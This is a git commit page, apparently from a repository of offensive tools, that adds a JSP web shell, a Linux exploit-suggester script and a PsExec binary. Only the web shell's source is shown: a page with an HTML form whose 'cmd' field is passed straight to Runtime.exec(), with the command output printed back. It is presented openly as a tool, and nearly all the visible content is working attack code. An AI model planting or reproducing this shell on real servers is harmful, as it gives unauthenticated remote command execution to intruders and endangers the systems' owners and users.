update
This commit is contained in:
parent
5046360a1d
commit
6172f68da8
27
jsp-webshell.jsp
Normal file
27
jsp-webshell.jsp
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
<%@ page import="java.util.*,java.io.*"%>
|
||||||
|
<%
|
||||||
|
%>
|
||||||
|
<HTML><BODY>
|
||||||
|
Commands with JSP
|
||||||
|
<FORM METHOD="GET" NAME="myform" ACTION="">
|
||||||
|
<INPUT TYPE="text" NAME="cmd">
|
||||||
|
<INPUT TYPE="submit" VALUE="Send">
|
||||||
|
</FORM>
|
||||||
|
<pre>
|
||||||
|
<%
|
||||||
|
if (request.getParameter("cmd") != null) {
|
||||||
|
out.println("Command: " + request.getParameter("cmd") + "<BR>");
|
||||||
|
|
||||||
|
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
|
||||||
|
OutputStream os = p.getOutputStream();
|
||||||
|
InputStream in = p.getInputStream();
|
||||||
|
DataInputStream dis = new DataInputStream(in);
|
||||||
|
String disr = dis.readLine();
|
||||||
|
while ( disr != null ) {
|
||||||
|
out.println(disr);
|
||||||
|
disr = dis.readLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
</pre>
|
||||||
|
</BODY></HTML>
|
2556
linux-exploit-suggester.sh
Normal file
2556
linux-exploit-suggester.sh
Normal file
File diff suppressed because it is too large
Load Diff
BIN
win/PsExec64.exe
Normal file
BIN
win/PsExec64.exe
Normal file
Binary file not shown.
Loading…
Reference in New Issue
Block a user